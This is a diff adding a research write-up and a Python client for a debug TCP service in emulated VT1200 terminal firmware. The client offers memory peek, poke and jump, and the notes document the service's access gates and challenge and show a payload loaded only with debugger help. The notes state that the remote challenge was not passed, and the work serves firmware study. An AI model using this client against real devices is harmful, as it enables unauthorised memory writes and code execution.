fresh connection, sends opcode 7, reads the 16-byte +challenge, sends our own 16-byte reply, and then reads the reply buffer that +the firmware dumped at the memcmp (dwt/evidence/run-live/cmp_a11.bin). +The transform is per 8-byte record, so the first 8 output bytes answer the +first 8 input bytes. +""" +import socket, struct, sys, time, re + +HOST, PORT = "192.168.99.2", 771 +DUMP = "/home/arti/code/k-space/vt1200/dwt/evidence/run-live/cmp_a11.bin" + + +def recv_frame(s): + h = s.recv(4) + if len(h) < 4: + raise EOFError + n = struct.unpack(">I", h)[0] + b = b"" + while len(b) < n: + c = s.recv(n - len(b)) + if not c: + break + b += c + return b + + +def parse_dump(path): + words = [] + try: + text = open(path).read() + except FileNotFoundError: + return b"" + for line in text.splitlines(): + m = re.match(r"^[0-9A-F]+:\s+(.*)$", line.strip()) + if not m: + continue + for w in m.group(1).split(): + if re.fullmatch(r"[0-9A-F]{4}", w): + v = int(w, 16) + words.append(v & 0xFF) + words.append(v >> 8) + return bytes(words) + + +def query(reply: bytes, settle=0.7) -> bytes: + assert len(reply) == 16 + s = socket.create_connection((HOST, PORT), 5) + s.settimeout(5) + s.sendall(struct.pack(">I", 7)) + ch = recv_frame(s) + if ch[0] != 0x7F: + raise RuntimeError(f"no challenge: {ch.hex()}") + s.sendall(reply) + time.sleep(0.2) + s.close() + time.sleep(settle) + return parse_dump(DUMP) + + +def main(): + cases = {} + if len(sys.argv) > 1: + for arg in sys.argv[1:]: + name, hexs = arg.split("=", 1) + cases[name] = bytes.fromhex(hexs) + else: + cases = { + "zero": bytes(16), + "p0_01": bytes.fromhex("01" + "00" * 15), + "p0_02": bytes.fromhex("02" + "00" * 15), + "p0_03": bytes.fromhex("03" + "00" * 15), + "p0_10": bytes.fromhex("10" + "00" * 15), + "p0_20": bytes.fromhex("20" + "00" * 15), + "p0_30": bytes.fromhex("30" + "00" * 15), + "p0_80": bytes.fromhex("80" + "00" * 15), + "p0_ff": bytes.fromhex("ff" + "00" * 15), + "p1_01": bytes.fromhex("00" + "01" + "00" * 14), + "p7_01": bytes.fromhex("00" * 7 + "01" + "00" * 8), + } + for name, reply in cases.items(): + out = query(reply) + print(f"{name}\tin={reply[:8].hex(' ')}\tout={out[:8].hex(' ')}") + sys.stdout.flush() + + +if __name__ == "__main__": + main() diff --git a/dwt/exploit.py b/dwt/exploit.py new file mode 100644 index 0000000..e499ee2 --- /dev/null +++ b/dwt/exploit.py @@ -0,0 +1,430 @@ +#!/usr/bin/env python3 +"""rdebug client -- the stock firmware's "DEBUG TCP Port" (771) console. + +Protocol (see dwt/notes/rdebug-static.md and dwt/notes/EXPLOIT_ATTEMPT.md): + + request = u32 be opcode + opcode arguments (each word be) + response = u32 be (payload_len + 1) + u8 flag + payload_len bytes + +Before the first opcode >= 2 the dispatcher runs a 16-byte challenge +(dwt_prf, ROM bit 0x3F59FDC0): it sends one frame with flag 0x7F carrying 16 +bytes and then reads exactly 16 raw bytes back. It compares the 16 bytes it +sent with the 16 bytes it received (the "transform" in between renders the +reply through the font code into a separate global buffer and does not modify +the reply buffer), so the answer is the challenge itself. + +Examples: + + # liveness -- opcode 7 is a no-op; the reply is 11 bytes + dwt/exploit.py --host 192.168.99.2 --opcode 7 + + # arbitrary read (bit address), 4 bytes of ROM + dwt/exploit.py --host 192.168.99.2 --peek 0x3F200000 --len 4 + + # write and read back a RAM marker (addresses are TMS34010 BIT addresses) + dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEAD + dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 2 + + # load harness/hello-world/payload.bin (82 bytes, linked at bit 01800000) + # and call it; the payload spins, so --jump times out by design + dwt/exploit.py --host 192.168.99.2 \ + --poke-file 0x01800000 --file harness/hello-world/payload.bin \ + --jump 0x01800000 --jump-wait 2 + + # build the frames without opening a socket + dwt/exploit.py --opcode 7 --dry-run +""" + +from __future__ import annotations + +import argparse +import socket +import struct +import sys +import time + +OP_NAMES = { + 0: "pager (exits after)", + 1: "printfs off", + 2: "peek", + 3: "poke", + 4: "jump", + 5: "printfs on", + 6: "start_telnet", + 7: "no-op / liveness", + 8: "display_message", + 9: "usage_stats", +} + +MAX_XFER = 0x400 # the firmware clamps peek/poke to 1024 bytes +CHALLENGE_FLAG = 0x7F + + +class ProtocolError(RuntimeError): + pass + + +def be32(value: int) -> bytes: + return struct.pack(">I", value & 0xFFFFFFFF) + + +def parse_int(text: str) -> int: + """Accept 0x..., decimal, or a bare hex value (firmware addresses usually + contain A-F, so bare tokens are read as hex).""" + text = text.strip().replace("_", "") + if text.lower().startswith("0x"): + return int(text, 16) + if any(c in "abcdefABCDEF" for c in text): + return int(text, 16) + return int(text, 10) + + +def parse_hex(text: str) -> bytes: + text = "".join(text.split()).replace(":", "").replace(",", "") + if text.lower().startswith("0x"): + text = text[2:] + if len(text) % 2: + text = "0" + text + return bytes.fromhex(text) + + +class RDebug: + def __init__(self, host: str, port: int, timeout: float, verbose: bool): + self.host = host + self.port = port + self.timeout = timeout + self.verbose = verbose + self.sock: socket.socket | None = None + self.challenged = False + self.challenge_type = "echo" + self.challenge_raw: bytes | None = None + + # ---- transport ------------------------------------------------------- + def connect(self) -> None: + self.sock = socket.create_connection((self.host, self.port), self.timeout) + self.sock.settimeout(self.timeout) + if self.verbose: + print(f"[.] connected to {self.host}:{self.port}", file=sys.stderr) + + def close(self) -> None: + if self.sock is not None: + try: + self.sock.close() + finally: + self.sock = None + + def send_raw(self, data: bytes) -> None: + assert self.sock is not None + if self.verbose: + print(f"[>] {data.hex(' ')}", file=sys.stderr) + self.sock.sendall(data) + + def recv_exact(self, n: int) -> bytes: + assert self.sock is not None + buf = bytearray() + while len(buf) < n: + chunk = self.sock.recv(n - len(buf)) + if not chunk: + raise ProtocolError( + f"connection closed after {len(buf)}/{n} bytes") + buf += chunk + return bytes(buf) + + def read_frame(self) -> tuple[int, bytes]: + """Return (flag, payload). Raises ProtocolError on malformed framing.""" + head = self.recv_exact(4) + (length,) = struct.unpack(">I", head) + if length == 0 or length > 0x10000: + raise ProtocolError(f"implausible frame length {length:#x}") + body = self.recv_exact(length) # flag + (length-1) payload + flag, payload = body[0], body[1:] + if self.verbose: + print(f"[<] len={length} flag={flag:#04x} payload={payload.hex(' ')}", + file=sys.stderr) + return flag, payload + + # ---- challenge ------------------------------------------------------- + @staticmethod + def challenge_answer(challenge: bytes, mode: str) -> bytes: + """Compute the 16-byte answer. + + The firmware stores four runtime words in host order at frame+0x20, + byte-swaps each one (`ntohl`, ROM 0x07F65828) into frame+0, and sends + *those* 16 bytes with flag 0x7F. After reading 16 bytes back it runs + them through a fixed-key font/cipher pipeline that rewrites the reply + buffer in place, and compares frame+0x20 (host order) with the result. + + `echo` and `computed` implement the two layers that were established + live: `echo` returns the challenge unchanged; `computed` byte-swaps + each 32-bit word, which fixes the host/network order layer. The + firmware's in-place transform is a second, nonlinear layer; on the + tested image neither mode passes it (memcmp returns -1 for echo and 1 + for computed). `--challenge-raw` allows a fully custom answer once the + transform is reversed. + """ + if len(challenge) != 16: + raise ProtocolError(f"challenge is {len(challenge)} bytes, not 16") + if mode == "echo": + return bytes(challenge) + if mode == "computed": + out = bytearray() + for i in range(0, 16, 4): + out += challenge[i:i + 4][::-1] + return bytes(out) + raise ValueError(mode) + + def answer_challenge(self, challenge: bytes) -> None: + if self.challenge_raw is not None: + answer = self.challenge_raw + else: + answer = self.challenge_answer(challenge, self.challenge_type) + if self.verbose: + print(f"[.] answering {self.challenge_type} challenge with " + f"{answer.hex(' ')}", file=sys.stderr) + self.send_raw(answer) + self.challenged = True + + def maybe_challenge(self, timeout: float | None = None) -> None: + """Read a frame; if it is the 0x7F challenge, answer it and read on. + + Returns the first non-challenge frame's (flag, payload) is handled by + the caller, so this method only *answers* a challenge it sees. It is + called before an opcode >= 2 and returns after the challenge frame has + been answered.""" + assert self.sock is not None + old = self.sock.gettimeout() + if timeout is not None: + self.sock.settimeout(timeout) + try: + flag, payload = self.read_frame() + finally: + self.sock.settimeout(old) + if flag == CHALLENGE_FLAG: + self.answer_challenge(payload) + else: + # The server spoke before we sent an opcode; keep it as a warning. + print(f"[!] unexpected pre-opcode frame flag={flag:#x} " + f"payload={payload.hex(' ')}", file=sys.stderr) + + # ---- commands -------------------------------------------------------- + def command(self, opcode: int, args: bytes = b"", wait: bool = True, + wait_timeout: float | None = None) -> tuple[int, bytes]: + if opcode >= 2 and not self.challenged: + # Send ONLY the opcode: the dispatcher runs the 16-byte challenge + # before the handler reads its arguments. Sending the arguments + # early makes dwt_prf consume the first 16 bytes of them as the + # challenge answer and shifts every later field (observed live: + # peek complained "maximum peek size" because its length field had + # been eaten). + self.send_raw(be32(opcode)) + self.challenged = True + flag, payload = self.read_frame() + if flag == CHALLENGE_FLAG: + self.answer_challenge(payload) + if args: + self.send_raw(args) + else: + self.send_raw(be32(opcode) + args) + + if not wait: + return -1, b"" + if wait_timeout is not None: + assert self.sock is not None + self.sock.settimeout(wait_timeout) + try: + return self.read_frame() + finally: + if wait_timeout is not None and self.sock is not None: + self.sock.settimeout(self.timeout) + + def liveness(self, opcode: int = 7) -> tuple[int, bytes]: + return self.command(opcode) + + def peek(self, bit_addr: int, length: int) -> bytes: + if length < 1 or length > MAX_XFER: + raise ValueError(f"peek length must be 1..{MAX_XFER}") + flag, payload = self.command(2, be32(bit_addr) + be32(length)) + if flag != 1: + raise ProtocolError(f"peek: expected binary flag 1, got {flag:#x}: " + f"{payload!r}") + if len(payload) != length: + raise ProtocolError(f"peek: asked {length} bytes, got {len(payload)}") + self.expect_done() + return payload + + def poke(self, bit_addr: int, data: bytes) -> None: + if not data or len(data) > MAX_XFER: + raise ValueError(f"poke length must be 1..{MAX_XFER}") + flag, payload = self.command(3, be32(bit_addr) + be32(len(data)) + data) + if flag != 0: + # "Done\n" is flag 0; anything else is the firmware's error text + print(f"[!] poke reply flag={flag:#x}: {payload!r}", file=sys.stderr) + self.expect_done(payload if flag == 0 else None) + + def jump(self, bit_addr: int, args: list[int], wait: bool = True, + wait_timeout: float | None = None) -> tuple[int, bytes] | None: + body = be32(bit_addr) + be32(len(args)) + for a in args: + body += be32(a) + if not wait: + self.command(4, body, wait=False) + return None + try: + flag, payload = self.command(4, body, wait_timeout=wait_timeout) + except (socket.timeout, TimeoutError): + return None + if flag == 1: + (retval,) = struct.unpack(">I", payload[:4]) + print(f"[.] jump returned {retval:#010x} ({retval})") + try: + self.expect_done() + except (socket.timeout, TimeoutError): + pass + return retval, payload + return None + + def expect_done(self, payload: bytes | None = None) -> None: + if payload is not None: + if payload.startswith(b"Done\n"): + return + raise ProtocolError(f"expected Done, got {payload!r}") + flag, body = self.read_frame() + if flag != 0 or not body.startswith(b"Done\n"): + raise ProtocolError(f"expected Done frame, got flag={flag:#x} " + f"{body!r}") + + +# --------------------------------------------------------------------------- +# dry run: print exactly what would go on the wire +# --------------------------------------------------------------------------- + +def build_frames(args) -> list[bytes]: + frames = [] + if args.opcode is not None: + frames.append(be32(args.opcode)) + if args.peek is not None: + frames.append(be32(2) + be32(args.peek) + be32(args.len)) + if args.poke is not None: + data = parse_hex(args.hex or "") + frames.append(be32(3) + be32(args.poke) + be32(len(data)) + data) + if args.poke_file is not None: + data = open(args.file, "rb").read() + frames.append(be32(3) + be32(args.poke_file) + be32(len(data)) + data) + if args.jump is not None: + body = be32(args.jump) + be32(len(args.arg)) + for a in args.arg: + body += be32(a) + frames.append(be32(4) + body) + return frames + + +def main(argv: list[str]) -> int: + ap = argparse.ArgumentParser( + description="Client for the VT1200 stock firmware's rdebug TCP service " + "(port 771). Addresses are TMS34010 bit addresses; use " + "--byte-addr to give byte addresses instead.", + formatter_class=argparse.RawDescriptionHelpFormatter) + ap.add_argument("--host", default="192.168.99.2") + ap.add_argument("--port", type=int, default=771) + ap.add_argument("--timeout", type=float, default=5.0, + help="socket timeout for ordinary command replies") + ap.add_argument("--challenge", choices=("echo", "computed"), default="echo") + ap.add_argument("--challenge-raw", metavar="HEX", + help="override the 16-byte challenge answer (experiment)") + ap.add_argument("--byte-addr", action="store_true", + help="arguments are byte addresses; multiply by 8") + ap.add_argument("--dry-run", action="store_true", + help="print the request frames, do not connect") + ap.add_argument("--verbose", action="store_true") + + g = ap.add_mutually_exclusive_group(required=False) + g.add_argument("--opcode", type=int, help="send a bare opcode (7 = liveness)") + g.add_argument("--peek", type=parse_int, help="peek: bit address") + g.add_argument("--poke", type=parse_int, help="poke: bit address") + g.add_argument("--poke-file", type=parse_int, + help="poke a whole file: bit address") + g.add_argument("--jump", type=parse_int, help="jump: call bit address") + + ap.add_argument("--len", type=int, default=16, help="peek length (max 1024)") + ap.add_argument("--hex", help="poke payload as hex, e.g. DEADBEEF") + ap.add_argument("--file", help="poke-file payload path") + ap.add_argument("--arg", type=parse_int, action="append", default=[], + help="jump argument (repeat up to 20)") + ap.add_argument("--jump-wait", type=float, default=0.0, + help="seconds to wait for a jump return; 0 = don't wait " + "(a spinning payload never returns)") + ap.add_argument("--poke-chunk", type=int, default=MAX_XFER, + help="split large poke-file payloads into chunks") + + args = ap.parse_args(argv[1:]) + + if args.byte_addr: + for name in ("peek", "poke", "poke_file", "jump"): + v = getattr(args, name) + if v is not None: + setattr(args, name, v * 8) + args.arg = [a for a in args.arg] + + if args.poke is not None and not args.hex: + ap.error("--poke needs --hex") + if args.poke_file is not None and not args.file: + ap.error("--poke-file needs --file") + if args.jump is not None and len(args.arg) > 20: + ap.error("the firmware accepts at most 20 jump arguments") + + if args.dry_run: + for frame in build_frames(args): + print(frame.hex(" ")) + return 0 + + rd = RDebug(args.host, args.port, args.timeout, args.verbose) + rd.challenge_type = args.challenge + if args.challenge_raw: + rd.challenge_raw = parse_hex(args.challenge_raw) + if len(rd.challenge_raw) != 16: + ap.error("--challenge-raw must be exactly 16 bytes") + try: + rd.connect() + rc = 0 + if args.opcode is not None: + flag, payload = rd.liveness(args.opcode) + print(f"opcode {args.opcode} -> flag={flag:#04x} " + f"payload={payload.hex(' ')} ({payload!r})") + if args.opcode == 7 and payload != b"Done\n\x00": + print("[!] opcode 7 did not return the expected Done\\n", + file=sys.stderr) + rc = 1 + if args.peek is not None: + data = rd.peek(args.peek, args.len) + print(f"peek {args.peek:#010x} ({args.len}) -> {data.hex(' ')}") + if args.poke is not None: + data = parse_hex(args.hex) + rd.poke(args.poke, data) + print(f"poke {args.poke:#010x} <- {data.hex(' ')}: ok") + if args.poke_file is not None: + data = open(args.file, "rb").read() + off = 0 + while off < len(data): + chunk = data[off:off + args.poke_chunk] + rd.poke(args.poke_file + off * 8, chunk) + off += len(chunk) + print(f"poke-file {args.file}: {len(data)} bytes at " + f"{args.poke_file:#010x}: ok") + if args.jump is not None: + result = rd.jump(args.jump, args.arg, wait=args.jump_wait > 0, + wait_timeout=args.jump_wait or None) + if result is None: + print(f"jump {args.jump:#010x}: no return within " + f"{args.jump_wait}s (expected for a non-returning payload)") + else: + print(f"jump {args.jump:#010x}: retval={result[0]:#010x}") + return rc + except (OSError, ProtocolError) as exc: + print(f"error: {exc}", file=sys.stderr) + return 2 + finally: + rd.close() + + +if __name__ == "__main__": + sys.exit(main(sys.argv)) diff --git a/dwt/notes/EXPLOIT_ATTEMPT.md b/dwt/notes/EXPLOIT_ATTEMPT.md new file mode 100644 index 0000000..0a217f6 --- /dev/null +++ b/dwt/notes/EXPLOIT_ATTEMPT.md @@ -0,0 +1,292 @@ +# rdebug exploit attempt — gates, loader, and what actually stops a remote attacker + +Status: **the loader works; the remote path is stopped by gate B.** Gate A is +not a gate on this image at all. + +ROM untouched: `md5 b46a3e442ccb86134d2356bd70d22fd2` (re-checked after every +run). Driver untouched. No `/tmp` artefacts. + +Harness caveat: the emulated OS/TCP stack is only reachable with +`VT1200_SKIP_LEVEL1=1`, which drives DUART1 IP3 high — a modelled board input, +not the real machine's POST. That divergence is what lets the terminal boot far +enough to listen on 771; it does not change the rdebug code, the gate fields or +the challenge, but the remote result is about the firmware's service with the OS +up, not about a real terminal's level-1 run. + +Two results must not be confused: + +| result | how it was reached | +|---|---| +| **remote** — TCP client → accept → dispatcher → challenge | real TCP connection to `192.168.99.2:771`, emulator running `VT1200_SKIP_LEVEL1=1` with the LANCE on a host tap | +| **debugger-assisted** — TCP client → poke → jump → payload | same, but one Lua breakpoint forced the challenge comparison to `0` for that connection | + +The second proves the **loader**, not a remote bypass. The remote client never +got past the challenge. + +--- + +## 1. Gate A: `SETF 2` is a *two-bit* field, and it is zero + +The static note read this as a 16-bit word compare and concluded "0x8070 ⇒ +reject". That is a field-size misread. The listing +(`harness/mame/hostport_dis34.txt:156211`): + +``` +3f58b280: setf 2, 0, 0 +3f58b290: move @0xaecd2, a7, 0 +3f58b2c0: jreq L3F58B430 ; zero -> ACCEPT path +... +3f58b430: ... ; accept, create "remote debug" +3f58b2d0: ... ; " rejected", return -1 +``` + +`SETF`'s first operand is the field size **in bits**, not a width code: + +* `src/devices/cpu/tms34010/34010dsm.cpp:531` prints + `"SETF %Xh,%X,"` with `(op & 0x1f) ? op & 0x1f : 0x20` — i.e. `2` means 2 bits. +* `src/devices/cpu/tms34010/34010ops.hxx:839` stores that size in `m_st`, and + `src/devices/cpu/tms34010/34010fld.hxx:23` dispatches size 2 to + `wfield_02` / `WFIELDMAC(0x03,15)` — a 2-bit field. + +So the compared value is **bits 2..3 of the 16-bit word at bit `0xAECD0`**, not +the word. That word is `0x0000` early and `0x8070` from frame ~600; in both +cases bits 2..3 are `0`: + +``` +dwt/evidence/run-branch/gate_branch.log +SAMPLE frame 1 word@0xAECD0=0000 field(bits2..3)=0 +SAMPLE frame 600 word@0xAECD0=8070 field(bits2..3)=0 +SAMPLE frame 1000 word@0xAECD0=8070 field(bits2..3)=0 +``` + +**Executed the gate code itself** (not just read memory): at frame 1000 the +script redirects the CPU into `0x3F58B280` and breaks on both targets. The +accept target is hit, with `a7 = 0`: + +``` +REDIRECT from 3F57A0E0 +GATE-TARGET ACCEPT pc=3F58B430 a7=00000000 +``` + +### Who writes the word + +* The two 2-bit fields are written by `3F329F00` (`@0xAECD0`) and `3F32A050` + (`@0xAECD2`) from config lookups (cells `0x155830` / `0x1565b0`). Those + stores **did not execute** in the `VT1200_SKIP_LEVEL1=1` boot (breakpoints + never fired). +* The `0x8070` word arrives between frames 200 and 600 from a boot-time + **PIXBLT block copy** at PC `3FB446D0` — a watchpoint caught + `0xAECC0=0x8000, 0xAECD0=0x8070, 0xAECE0=0xA005, 0xAECF0=0x0008` + (`dwt/evidence/run-gate/debug.log`). The copy source was not identified. +* It is therefore a **16-bit word in a copied RAM settings/bitmap block**, not a + semaphore or a computed flag. Whether a user-visible setting can make the + 2-bit field nonzero is **not established**; what is established is that on + this image it is zero and the accept path is taken. + +### Remote evidence that Gate A is open + +A real TCP connection reached the accept handler, the dispatcher and the +challenge (all breakpoints fired on the same connection): + +``` +dwt/evidence/run-live/debug.log +LIVE accept_debug_conn entry pc=3F58AD60 +LIVE dispatcher entry pc=3F59F320 +LIVE dwt_prf challenge entry pc=3F59FDC0 +``` + +**Verdict:** a remote attacker does not need to clear Gate A. It is open by +default on the emulated image; the 0x8070 is irrelevant to the compared field. +This corrects `dwt/notes/rdebug-static.md` §7 and the corresponding CROSS.md +entry. + +--- + +## 2. Gate B: the 16-byte challenge is real, and echo does not pass + +`dwt_prf` (`0x3F59FDC0`) runs once per connection, before the first opcode ≥ 2 +(opcodes 0 and 1 skip it; opcode 7 does **not**). It sends four runtime words +with frame flag `0x7F`, reads exactly 16 bytes back, and the dispatcher kills +the session when the function returns 0. + +Live result with **echo**: + +``` +[>] 00 00 00 07 +[<] len=17 flag=0x7f payload=f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e +[.] answering echo challenge ... +[>] f3 2c ec 8d 00 00 ea d0 02 63 a8 c0 f3 24 ec 8e +error: connection closed after 0/4 bytes +``` + +Emulator side: `LIVE challenge memcmp a8=FFFFFFFF (0=equal)` — **not equal**, so +the process exits. A failed challenge is fatal and it is per connection. + +### Why echo fails: two layers + +1. **Byte order.** The four words are stored in host order at `frame+0x20`, + byte-swapped by `ntohl` (`0x07F65828`, a full 32-bit swap) into `frame+0`, + and the *swapped* bytes are what goes on the wire. The memcmp's first + argument is `frame+0x20`, so the expected value is the wire challenge with + **each 32-bit word byte-swapped**. `dwt/exploit.py --challenge computed` + implements exactly that. +2. **An in-place transform.** The 16 received bytes are passed to + `0x3F5A09C0`, which processes them as two 8-byte records. It runs a font + renderer (`0x3F5AC710`, tables at `@0x1C0220` / `@0x1C0240`), a 16-round + Feistel/SP-table cipher (round function `0x3F5ACEC0`, 128-byte key schedule + at `@0x1C0260`, 8 SP tables at `@0x1C0200`), and a second render — and it + writes the result **back into the reply buffer**. The memcmp is + `memcmp(frame+0x20, reply, 16)`. + +With the byte-swapped answer (`computed`), the memcmp returned `0x00000001` — +still not equal. So the second layer is the real blocker. + +### What was established about the transform + +* Deterministic and per-8-byte-record: equal 8-byte records produce equal + 8-byte outputs, independent of time (two all-zero runs agreed exactly). +* Nonlinear: `f(03) != f(01) ^ f(02) ^ f(00)`, so it is not a bit-linear map. +* It rewrites the reply buffer in place; the observed outputs for chosen inputs + are in `dwt/evidence/run-live/render-probes.txt` (e.g. + `f(00*8) = 90 de 09 b4 72 85 58 17`). +* The cipher-in/cipher-out dumps are saved (`key.bin`, `sbox.bin`, + `cipher_in.bin`, `cipher_out.bin`). They were not consistent enough (the + dump breakpoints fire once per 8-byte record and overwrite each other) to + reduce the pipeline to an invertible form in the time available. No claim is + made here about the cipher's exact input/output relation. + +`dwt/exploit.py --challenge echo|computed` implements layers 1a and 1b. +`--challenge-raw HEX` exists to plug in a full answer once the transform is +inverted. + +### Protocol trap (worth knowing) + +The opcode's arguments must be sent **after** the challenge answer, not with the +opcode. Sending `opcode|args` in one write makes `dwt_prf` consume the first 16 +bytes of the arguments as its answer; the handler then reads shifted fields and +reports nonsense such as `rdebug_peek: maximum peek size is 1024 bytes` for a +length of 8. The client now sends the opcode alone, answers, then sends the +arguments. This is a real property of the firmware's sequential reads. + +--- + +## 3. `poke` / `peek` / `jump` semantics (measured) + +All four requests below used the real TCP handlers. + +**Address is a bit address.** `peek 0x3F200000` (bit) returned +`e9 7a e2 f5 aa aa 55 55`, byte-for-byte the first 8 bytes of `vt1200_v22.bin` +(file offset 0). A poke to `0x01820000` (bit) with `DE AD BE EF` read back as +`DE AD BE EF`. + +**Maximum transfer is 0x400 = 1024 bytes** per request (code `CMPI 0x400`; the +firmware's own text `rdebug_peek: maximum peek size is %d bytes`, +`reference/rom-strings.txt:2579`, and `rdebug_poke: ... %d bytes`, line 2581). +Repeat requests for larger images. + +**ROM is write-protected by the memory map, not by the handler.** A poke to +`0x3F200000` returned `Done`, but a following peek still returned +`e9 7a e2 f5 aa aa 55 55`. The handler does no protection check; the driver +maps ROM with `.rom()`. + +**`jump` is `call(bit_addr, args...)`.** The handler reads `{addr, nargs}` plus +`nargs` big-endian words (≤ 20), then jumps through a 20-entry stub table at +`0x3F5A6AA0`; stub *n* pushes *n* arguments and does `call *a13`. Arguments are +therefore ordinary firmware stack arguments, not registers. There is no PC +assignment and no return-address check. + +**`peek` reads back `poke`** (the `DEADBEEF` test above), so the write primitive +is honest. + +--- + +## 4. The loader, proved debugger-assisted + +To separate "the loader works" from "gate B blocks it", one Lua breakpoint at +`0x3F5A0920` forced the challenge comparison to equality (`a8 = 0`) **for that +connection only**. Everything else is the real path over TCP: + +``` +LIVE challenge memcmp FORCED a8=FFFFFFFF -> 0 +LIVE rdebug_peek entry ... (implicitly, via the peek/poke tests) +LIVE rdebug_poke entry pc=3F5A1B50 +LIVE rdebug_jump entry pc=3F5A3890 +``` + +The 82-byte `harness/hello-world/payload.bin` was poked to bit `0x01800000` and +called with `jump 0x01800000`. The emulator read back: + +``` +LIVE payload-ran: MAGIC1=DEAD MAGIC2=BEEF COUNT=0400 +LIVE payload-ran: VRAM block 1024/1024 words FFFF, 0 holes +``` + +That is the hello-world payload (DEAD/BEEF/1024 iterations + the 256×64 VRAM +block), **executed through the stock loader**. The snapshot call failed only +because this MAME's Lua `machine.screens[1]` index is not valid; the RAM and +VRAM readback are the evidence. + +**Boundary:** this is debugger-assisted. It proves `poke` + `jump` can deliver +and run our code; it does **not** prove a remote attacker can pass gate B. + +--- + +## 5. Reproduction + +```sh +# build/ROM check +md5sum vt1200_v22.bin # b46a3e442ccb86134d2356bd70d22fd2 + +# Gate A, offline: sample the 2-bit field, and enter the gate code itself +M=/home/arti/code/k-space/mame0289/vt1200 +cd dwt/evidence/run-branch +VT1200_SKIP_LEVEL1=1 $M vt1200 -rompath ../../../harness/mame/roms \ + -video none -sound none -nothrottle -debug -debugger none -debuglog \ + -nvram_directory $PWD/nvram \ + -autoboot_script ../scripts/gate_branch.lua -autoboot_delay 0 +# expect: GATE-TARGET ACCEPT pc=3F58B430 a7=00000000 + +# Live TCP (needs the tap + BOOTP; see harness/net-setup.sh and harness/serve.py) +./harness/net-setup.sh +sudo python3 -u harness/serve.py 192.168.99.1 --bootp & +# MAME: -cfg_directory -networkprovider taptun +# VT1200_SKIP_LEVEL1=1, -debug -debugger none -debuglog +# after the terminal answers ping 192.168.99.2: +python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --verbose +# challenge appears, echo is sent, connection closes, memcmp = FFFFFFFF +python3 dwt/exploit.py --host 192.168.99.2 --opcode 7 --challenge computed +# memcmp = 00000001 -- byte order fixed, in-place transform still blocks + +# Debugger-assisted loader proof: run live_probe.lua with the memcmp forced to 0 +python3 dwt/exploit.py --host 192.168.99.2 --poke 0x01820000 --hex DEADBEEF +python3 dwt/exploit.py --host 192.168.99.2 --peek 0x01820000 --len 4 +python3 dwt/exploit.py --host 192.168.99.2 \ + --poke-file 0x01800000 --file harness/hello-world/payload.bin +python3 dwt/exploit.py --host 192.168.99.2 --jump 0x01800000 --jump-wait 0 +``` + +## 6. What a remote attacker can and cannot do + +* **Can**: connect to TCP 771 (gate A passes), reach the dispatcher, and trigger + the challenge and the public opcodes that require it (the challenge will kill + the session on failure). Nothing useful is reachable without passing it. +* **Cannot**: pass gate B. Echo and word-swapped echo both fail; the firmware's + fixed-key font/cipher transform rewrites the reply in place and was not + inverted here. Therefore `peek`, `poke`, `jump`, `start_telnet`, + `display_message` and `usage_stats` are **not remotely reachable on this + image** without either solving the transform or a different memory-safety bug. +* **Not a gate**: the `0xAECD2` word. Do not patch it; the compared field is + already zero. + +## 7. Files + +| path | contents | +|---|---| +| `dwt/exploit.py` | stdlib client: opcode 7, peek, poke, poke-file, jump, echo/computed/raw challenge, `--dry-run` | +| `dwt/evidence/run-branch/` | gate-field samples, the ACCEPT branch hit, `debug.log` | +| `dwt/evidence/run-gate/` | write watchpoints on the 0x8070 word | +| `dwt/evidence/run-static/` | the 128-byte block at `0x1BE810` and table pointers | +| `dwt/evidence/run-live/` | live logs, challenge dumps, key/SP-table dumps, render probes, `mame.log` with the payload markers | +| `dwt/evidence/scripts/` | every Lua probe and the oracle harness | + +*ROM unmodified. No driver edits. Evidence gathered on the emulator only.*